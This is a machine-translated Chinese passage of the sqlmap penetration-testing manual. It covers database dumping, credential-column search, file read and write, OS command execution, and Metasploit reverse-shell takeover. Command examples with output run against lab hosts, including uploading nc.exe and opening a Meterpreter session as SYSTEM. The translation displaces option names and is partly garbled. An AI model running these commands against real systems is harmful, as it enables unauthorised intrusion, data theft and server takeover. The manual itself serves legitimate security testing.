如果只想轉儲一系列條目,則可以提供選項和/或分別從某個條目開始轉儲,並在某個條目停止轉儲。例如,如果只想轉儲第一個條目,請在命令列中提供。反之亦然,例如,如果您只想轉儲第二個和第三個條目,則 提供 。--start``--stop``--stop 1``--start 1``--stop 3

還可以指定使用 選項 和 轉儲的單個字元或字元範圍。例如,如果要轉儲列的條目,從第三個字元轉儲到第五個字元,請提供 。此功能僅適用於盲 SQL 注入技術,因為對於基於錯誤的查詢 SQL 注入技術,請求數完全相同,而不管要轉儲的列的條目輸出的長度如何。--first``--last``--first 3``--last 5

有時(例如,對於 Microsoft SQL Server、Sybase 和 SAP MaxDB),由於缺乏類似的機制,不可能直接使用機制轉儲錶行。在這種情況下,sqlmap 會通過確定最合適的列(具有最唯一值的列)來轉儲內容,這些列的值稍後用於檢索其他列值。如果由於自動選擇的列不適合(例如,由於缺乏錶轉儲結果),因此有必要強制使用特定列,您可以使用選項(例如 )。OFFSET m, n``pivot``pivot``--pivot-column``--pivot-column=id

如果希望將轉儲約束到特定列值(或範圍),可以使用 選項 。提供的邏輯操作將自動在子句內使用。例如,如果僅使用值大於 3 的錶行(通過追加到已使用的轉儲查詢)。--where``WHERE``--where="id>3"``id``WHERE id>3

正如您現在可能已經注意到的,sqlmap靈活的:您可以讓它自動轉儲整個資料庫表,或者您可以非常精確地在哪些字元中轉儲、從哪些列和哪個條目範圍轉儲。

轉儲所有資料庫表條目

開關:和--dump-all``--exclude-sysdbs

可以同時轉儲會話使用者具有讀取訪問許可權的所有資料庫表條目。

您還可以提供開關以排除所有系統資料庫。在這種情況下,sqlmap 將只轉儲使用者資料庫表的條目。--exclude-sysdbs

請注意,在 Microsoft SQL Server 上,資料庫不被視為系統資料庫,因為某些資料庫管理員使用它作為使用者的資料庫。master

搜尋列、表或資料庫

開關和選項: , 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、--search``-C``-T``-D

此開關允許您搜尋特定資料庫名稱、跨所有資料庫的特定表或跨所有資料庫表的特定列

例如,這可用於標識包含自定義應用程式憑據的表,其中相關列的名稱包含名稱和 pass等**字串

交換機需要與以下支援選項之一結合使用:--search

  • -C遵循逗號分隔的列名稱列表,以在整個資料庫管理系統中查詢。
  • -T遵循逗號分隔表名的列表,以在整個資料庫管理系統中查詢。
  • -D遵循逗號分隔的資料庫名稱列表,以跨資料庫管理系統查詢。

執行自定義 SQL 語句

選項和開關:和--sql-query``--sql-shell

SQL 查詢和 SQL shell 功能允許在資料庫管理系統上執行任意 SQL 語句。sqlmap 自動剖析提供的語句,確定適合使用哪種技術來注入它以及如何相應地打包 SQL 有效負載。

如果查詢是語句,sqlmap 將檢索其輸出。否則,如果 Web 應用程式支援在最終資料庫管理系統上的多個語句,它將通過堆疊查詢 SQL 注入技術執行查詢。請注意,某些 Web 應用程式技術不支援對特定資料庫管理系統進行堆疊查詢。例如,當回端 DBMS 是 MySQL 時,PHP 不支援堆疊查詢,但當向後端 DBMS 是 PostgreSQL 時,PHP 支援堆疊查詢。SELECT

針對 Microsoft SQL Server 2000 目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如您所看到的,sqlmap 將提供的查詢拆分為兩個不同的語句,然後檢索每個獨立查詢的輸出。SELECT

如果提供的查詢是語句幷包含子句,sqlmap 將詢問此語句是否可以返回多個條目。在這種情況下,該工具知道如何正確解壓縮查詢,以計算可能的條目數並檢索其輸出,每個條目的條目。SELECT``FROM

SQL shell 選項允許您以互動方式執行自己的 SQL 語句,就像連線到資料庫管理系統的 SQL 控制檯一樣。此功能還提供 TAB 完成和歷史記錄支援。

蠻 力

這些開關可用於執行暴力檢查。

暴力表名稱

開關:--common-tables

在某些情況下,不能使用開關來檢索資料庫的表名。這些情況通常分為以下類別之一:--tables

  • 資料庫管理系統是 MySQL < 5.0,其中不可用。information_schema
  • 資料庫管理系統是微軟訪問和系統表不可讀 - 預設設定。MSysObjects
  • 會話使用者對儲存資料庫方案的系統表沒有讀取許可權。

如果前兩種情況中的任何一個適用,並且您提供了開關 ,sqlmap 將提示您回答此技術的問題。這兩種情況中的任何一種情況都適用於您的情況,如果提供開關,sqlmap 仍可能標識一些現有表。sqlmap 將執行暴力攻擊,以檢測 DBMS 中是否存在公共表。--tables``--common-tables

公共表名列表是,您可以按心編輯它。txt/common-tables.txt

針對 MySQL 4.1 目標的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力列名稱

開關:--common-columns

根據表,在某些情況下,不能使用開關來檢索資料庫的表的列名。這些情況通常分為以下類別之一:--columns

  • 資料庫管理系統是 MySQL < 5.0,其中不可用。information_schema
  • 資料庫管理系統是 Microsoft Access,其中此類資訊在系統表中不可用。
  • 會話使用者對儲存資料庫方案的系統表沒有讀取許可權。

如果前兩種情況中的任何一個適用,並且您提供了開關 ,sqlmap 將提示您回答此技術的問題。這兩種情況中的任何一種情況都適用於您的情況,如果提供開關,sqlmap 仍可能標識一些現有表。sqlmap 將執行暴力攻擊,以檢測 DBMS 中是否存在公共列。--columns``--common-columns

公共表名列表是,您可以按心編輯它。txt/common-columns.txt

使用者定義的函式注入

這些選項可用於建立自定義使用者定義的函式。

注入自定義使用者定義的函式 (UDF)

開關和選項:和--udf-inject``--shared-lib

您可以通過編譯 MySQL 或 PostgreSQL 共享庫、用於 Windows 的 DLL 以及用於 Linux/Unix 的共享物件來注入自己的使用者定義的函式 (UDF),然後為 sqlmap 提供共享庫儲存在計算機上本地的路徑。然後 sqlmap 會詢問您一些問題,將共享庫上載到資料庫伺服器檔案系統上,從中建立使用者定義的函式,並根據您的選項執行它們。使用完注入的 UDF 後,sqlmap 也可以從資料庫中刪除它們。

這些技術在白皮書中詳細介紹了高階SQL 注入作業系統的完全控制

使用選項並按照說明操作。--udf-inject

如果需要,也可以使用選項通過命令列指定共享庫本地檔案系統路徑。反之亦然,sqlmap 將在執行時要求您提供路徑。--shared-lib

此功能僅在資料庫管理系統為 MySQL 或 PostgreSQL 時才可用。

檔案系統訪問

從資料庫伺服器的檔案系統讀取檔案

選項:--file-read

當最終資料庫管理系統是 MySQL、PostgreSQL 或 Microsoft SQL Server 時,可以從基礎檔案系統檢索檔案的內容,並且會話使用者具有濫用資料庫特定功能和體系結構弱點所需的許可權。指定的檔案可以是文字檔案,也可以是二進位制檔案。sqlmap 將正確處理它。

這些技術在白皮書中詳細介紹了高階SQL 注入作業系統的完全控制

針對 Microsoft SQL Server 2005 目標檢索二進位制檔案的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

將檔案上載到資料庫伺服器的檔案系統

選項: 和--file-write``--file-dest

當最終資料庫管理系統是 MySQL、PostgreSQL 或 Microsoft SQL Server 時,可以將本地檔案上載到資料庫伺服器的檔案系統,並且會話使用者具有濫用資料庫特定功能和體系結構弱點所需的許可權。指定的檔案可以是文字檔案,也可以是二進位制檔案。sqlmap 將正確處理它。

這些技術在白皮書中詳細介紹了高階SQL 注入作業系統的完全控制

針對 MySQL 目標上傳二進位制 UPX 壓縮檔案的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

作業系統接管

執行任意作業系統命令

選項和開關:和--os-cmd``--os-shell

當最終資料庫管理系統是MySQL、PostgreSQL 或 Microsoft SQL Server 時,可以執行資料庫伺服器的基礎作業系統上的任意命令,並且會話使用者具有濫用資料庫特定功能和體系結構弱點所需的許可權。

在 MySQL 和 PostgreSQL 上,sqlmap 上傳(通過上面解釋的檔案上傳功能)包含兩個使用者定義的函式的共享庫(二進位制檔案),然後在資料庫上建立這兩個函式,並呼叫其中一個函式來執行指定的命令,具體取決於使用者是否選擇顯示標準輸出。在 Microsoft SQL Server 上,sqlmap 會濫用儲存過程:如果禁用它(預設情況下在 Microsoft SQL Server >= 2005 上),sqlmap 將重新啟用它;如果禁用它(預設情況下,在 Microsoft SQL Server >= 2005 上),sqlmap 將重新啟用它;如果不存在,sqlmap 會從頭開始建立它。sys_exec()``sys_eval()``xp_cmdshell

當用戶請求標準輸出時,sqlmap 使用列舉 SQL 注入技術之一(盲、帶或基於錯誤)來檢索它。反之亦然,如果不需要標準輸出,則使用堆疊查詢 SQL 注入技術來執行該命令。

這些技術在白皮書中詳細介紹了高階SQL 注入作業系統的完全控制

針對 PostgreSQL 目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

還可以模擬一個真實的 shell,您可以在其中鍵入任意數量的任意命令。該選項是並且具有相同的 TAB 完成和歷史記錄功能。--os-shell``--sql-shell

如果 Web 應用程式上尚未識別堆疊查詢(例如,具有後端資料庫管理系統為 MySQL 的 PHP 或 ASP),而 DBMS 是 MySQL,則仍然可能濫用該子句,在 Web 伺服器文件根目錄內的可寫資料夾中建立 Web 後門,並且如果端端 DBMS 和 Web 伺服器託管在同一伺服器上,仍然可以獲得命令執行。sqlmap 支援此技術,並允許使用者提供可能的文件根子資料夾的逗號分隔列表,其中嘗試上載 Web 檔案階段和後續的 Web 後門。此外,sqlmap 具有自己測試的 Web 檔案階段和以下語言的後門:SELECT``INTO OUTFILE

  • Asp
  • ASP.NET
  • Jsp
  • Php

帶外有狀態連線:儀表機和朋友

開關和選項:, 、 、 、 、 、 、 、--os-pwn``--os-smbrelay``--os-bof``--priv-esc``--msf-path``--tmp-path

當並行資料庫管理系統是MySQL、PostgreSQL 或 Microsoft SQL Server 時,可以在攻擊者計算機和基礎作業系統的資料庫伺服器之間建立帶外狀態 TCP 連線,並且會話使用者具有濫用資料庫特定功能和體系結構弱點所需的許可權。此通道可以是互動式命令提示符、Meterpreter 會話或圖形使用者介面 (VNC) 會話(根據使用者的選擇)。

sqlmap 依靠 Metasploit 建立 shellcode,並實現四種不同的技術在資料庫伺服器上執行它。這些技術包括:

  • 通過 sqlmap 自己的使用者定義的函式執行 Metasploit的 shellcode 的資料庫記憶體中。支援 MySQL 和 PostgreSQL 交換機 。sys_bineval()``--os-pwn
  • 通過 Sqlmap 自己的使用者定義的函式MySQL 和 PostgreSQL 上或通過 Microsoft SQL Server 交換機上傳和執行 Metasploit 的單獨有效負載階段程式。sys_exec()``xp_cmdshell()``--os-pwn
  • 通過執行SMB反射攻擊(MS08-068)執行 Metasploit 的 shellcode,該請求從資料庫伺服器到 Metasploit 伺服器偵聽的攻擊者計算機的 UNC 路徑請求。在 Linux/Unix 上執行具有高許可權 () 的 sqlmap 時受支援,目標 DBMS 在 Windows - switch 上以管理員身份執行。smb_relay``uid=0``--os-smbrelay
  • 利用 Microsoft SQL Server 2000 和 2005 sp_replwritetovarbin儲存過程堆緩衝區溢位(MS09-004 ) 來執行 Metasploit 的 shell 碼的資料庫記憶體中。sqlmap 有自己的漏洞,通過自動 DEP 記憶體保護旁路觸發漏洞,但它依賴於 Metasploit 生成 shellcode,在成功利用時執行 - switch 。--os-bof

這些技術在白皮書"高階 SQL 注入到作業系統完全控制"和"幻燈片"中詳細介紹了從資料庫擴充套件對作業系統的控制

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

預設情況下,Windows 上的 MySQL 執行為 ,但是 PostgreSQL 在 Windows 和 Linux 上都作為低特權使用者執行。預設情況下,Microsoft SQL Server 2000 以 執行,而 Microsoft SQL Server 2005 和 2008 大多數時間執行為 ,有時執行為。SYSTEM``postgres``SYSTEM``NETWORK SERVICE``LOCAL SERVICE

可以通過 Metasploit 的命令(包括 kitrap0d 技術(MS10-015)提供sqlmap來執行資料庫程序的使用者許可權升級。 --priv-esc``getsystem

Windows 登錄檔訪問

當最終資料庫管理系統是 MySQL、PostgreSQL 或 Microsoft SQL Server 時,以及當 Web 應用程式支援堆疊查詢時,可以訪問 Windows 登錄檔。此外,會話使用者必須具有訪問它所需的許可權。

讀取 Windows 登錄檔項值

開關:--reg-read

使用此開關,您可以讀取登錄檔項值。

寫入 Windows 登錄檔項值

開關:--reg-add

使用此開關,您可以編寫登錄檔項值。

刪除 Windows 登錄檔項

開關:--reg-del

使用此開關,您可以刪除登錄檔項。

輔助登錄檔選項

選項: 、 和--reg-key``--reg-value``--reg-data``--reg-type

這些選項可用於提供正確執行交換機和 所需的資料。因此,在詢問時,無需提供登錄檔項資訊,而是可以在命令提示符處將它們用作程式引數。--reg-read``--reg-add``--reg-del

使用選項,您可以指定使用的 Windows 登錄檔項路徑,在提供鍵內指定值項名稱,使用值資料,而使用選項指定值項的型別。--reg-key``--reg-value``--reg-data``--reg-type

用於添加註冊表項配置單元的示例命令列如下:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

常規

這些選項可用於設定一些一般工作引數。

從儲存的 (.sqlite) 檔案載入會話

選項:-s

sqlmap 會自動為每個目標(專用輸出目錄)建立一個持久會話 SQLite 檔案,其中儲存會話恢復所需的所有資料。如果使用者想要顯式設定會話檔案位置(例如,在一個位置儲存多個目標的會話資料),他可以使用此選項。

將 HTTP 流量記錄到文字檔案

選項:-t

此選項需要指定文字檔案的引數來寫入 sqlmap - HTTP(S) 請求和 HTTP(S) 響應生成的所有 HTTP(s) 流量。

這主要用於除錯目的 - 當您向開發人員提供潛在的 Bug 報告時,請也傳送此檔案。

設定問題的答案

選項:--answers

如果使用者希望自動設定問題的答案,即使使用,使用此選項,他可以通過提供問題的任何部分以及等號後的答案來做到這一點。此外,不同問題的答案可以拆分為分隔符字元。--batch``,

針對 MySQL 目標的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

宣告包含 Base64 編碼資料的引數

選項:--base64

如果目標 Web 應用程式使用 Base64 編碼將資料儲存在特定引數(例如 Base64 編碼 JSON 字典)內,則使用者可以使用選項宣告它,從而指示 sqlmap 正確測試基礎值。--base64

示例用法(注: ):Base64('{"id": 1}') == 'eyJpZCI6IDF9'

$ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZC\
I6IDF9 -v 5 --base64=value
[...]
[23:43:35] [INFO] testing 'Boolean-based blind - Parameter replace (original valu
e)'
[23:43:35] [PAYLOAD] KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAx
fScgRUxTRSAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp
[23:43:35] [TRAFFIC OUT] HTTP request [#11]:
GET /?value=KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAxfScgRUxTR
SAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp HTTP/1.1
Host: localhost
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.4.3#dev (http://sqlmap.org)
Connection: close
[...]

在非互動模式下操作

開關:--batch

如果希望 sqlmap 作為批處理工具執行,在 sqlmap 需要時沒有任何使用者的互動,可以使用 switch 強制它。每當需要使用者的輸入時,這都會使 sqlmap 與預設行為一起使用。--batch

二進位制內容檢索

選項--binary-fields

在二進位制內容檢索的情況下,例如具有儲存二進位制值的列(例如具有二進位制儲存密碼雜湊值的列)的表,可以使用選項(額外)按 sqlmap 進行正確處理。然後檢索所有這些欄位(即表列),並在其十六進位制表示中表示,以便以後可以使用其他工具(例如 )正確處理這些欄位。password``--binary-fields``john

自定義(盲)SQL 注入字符集

選項:--charset

在基於布林的盲和基於時間的盲 SQL 注入情況下,使用者可以強制使用自定義字符集以加快資料檢索過程。例如,在轉儲訊息摘要值(例如 SHA1)的情況下,通過使用(例如)預期請求數比常規執行時少 30% 左右。--charset="0123456789abcdef"

從目標 URL 開始抓取網站

選項:--crawl

sqlmap 可以通過從目標位置開始收集可能易受攻擊的連結(爬網)來收集這些連結。使用此選項,使用者可以設定深度(與起始位置的距離),其中 sqlmap 不會進入收集階段,因為只要有新的連結要訪問,該過程就是遞迴完成的。

針對 MySQL 目標執行的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

選項--crawl-exclude

使用此選項,您可以通過提供正則表示式來從爬網中排除頁面。例如,如果要跳過其路徑中包含關鍵字的所有頁面,可以使用 。logout``--crawl-exclude=logout

CSV 輸出中使用的分隔字元

選項:--csv-del

當轉儲的資料儲存在 CSV 格式 (中) 時,條目必須用"分離值"(預設值為 ) 分隔。如果使用者想要重寫其預設值,他可以使用此選項(例如 )。--dump-format=CSV``,``--csv-del=";"

DBMS 身份驗證憑據

選項:--dbms-cred

在某些情況下,使用者會因為缺少當前的 DBMS 使用者許可權而發現某些操作失敗,他可以嘗試使用此選項。在這種情況下,如果他使用此選項向 sqlmap 提供使用者憑據,sqlmap 將嘗試使用專門的"以"機制執行(例如 在 Microsoft SQL Server 上),使用這些憑據。admin``OPENROWSET

轉儲資料的格式

選項:--dump-format

sqlmap 支援三種不同型別的格式,當將轉儲的表資料儲存到輸出目錄中的相應檔案中: 和 。預設的一個是 ,其中每個錶行都按行儲存到文字檔案中,並且每個條目都用逗號字元分隔(或用 選項提供的逗號)。在 中,輸出將儲存在 HTML 檔案中,其中每行在格式化表中用一行表示。在 的情況下,輸出將儲存到 SQLITE 資料庫中,其中原始表內容將複製到具有相同名稱的相應表中。CSV``HTML``SQLITE``CSV``,``--csv-del``HTML``SQLITE

用於資料檢索的強制字元編碼

選項:--encoding

為了正確解碼字元資料,sqlmap 使用 Web 伺服器提供的資訊(例如 HTTP 標頭)或來自第三方庫字元的啟發式結果Content-Type

但是,在某些情況下,此值必須被覆蓋,尤其是在檢索包含國際非 ASCII 字母的資料時(例如 )。必須指出,由於儲存的資料庫內容與目標端使用的資料庫聯結器之間的隱式不相容,字元資訊可能會不可逆轉地丟失。--encoding=GBK

估計到達時間

開關:--eta

可以實時計算和顯示估計到達時間,以檢索每個查詢輸出。當用於檢索輸出的技術是任何盲 SQL 注入型別時,將顯示此值。

僅受基於布林的盲 SQL 注入影響的 Oracle 目標的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然後:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如您所見,sqlmap 首先計算查詢輸出的長度,然後估計到達時間,以百分比顯示進度並計算檢索到的輸出字元數。

重新整理會話檔案

選項:--flush-session

由於您已經熟悉了上述描述中會話檔案的概念,因此,您知道可以使用 選項重新整理該檔案的內容是一件好事。這樣,您就可以避免在 sqlmap 中預設實現的快取機制。其他可能的方法是手動刪除會話檔案。--flush-session

解析和測試表單的輸入欄位

開關:--forms

假設您要針對 SQL 注入測試一個巨大的搜尋表單,或者要測試登入繞過(通常只有兩個輸入欄位,如使用者名稱和密碼),您可以在請求檔案中傳遞到 sqlmap 請求 ()、相應地設定 POSTED 資料 () 或讓 sqlmap 為你做!-r``--data

上述兩個例項和許多其他例項都顯示為 HTML 響應體中的 和 標記,這就是此開關發揮作用的地方。 <form>`` <input>

提供 sqlmap 以及可以找到窗體作為目標 URL () 的頁面,sqlmap 將請求目標 URL,分析其具有的窗體,並指導您測試這些表單輸入欄位(引數)而不是提供的目標 URL 上的 SQL 注入。--forms``-u

忽略儲存在會話檔案中的查詢結果

開關:--fresh-queries

由於您已經熟悉了上述描述中會話檔案的概念,因此可以知道可以使用 選項 忽略該檔案的內容。這樣,您可以保持會話檔案不變,並且對於選定的執行,避免恢復/恢復查詢輸出。--fresh-queries

使用 DBMS 十六進位制函式進行資料檢索

開關:--hex

在丟失的情況下,檢索非 ASCII 資料需要特殊需要。此問題的一個解決方案是使用 DBMS 十六進位制函式。通過此開關開啟,資料在檢索之前被編碼為十六進位制形式,然後取消編碼到它的原始窗體。

針對 PostgreSQL 目標的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
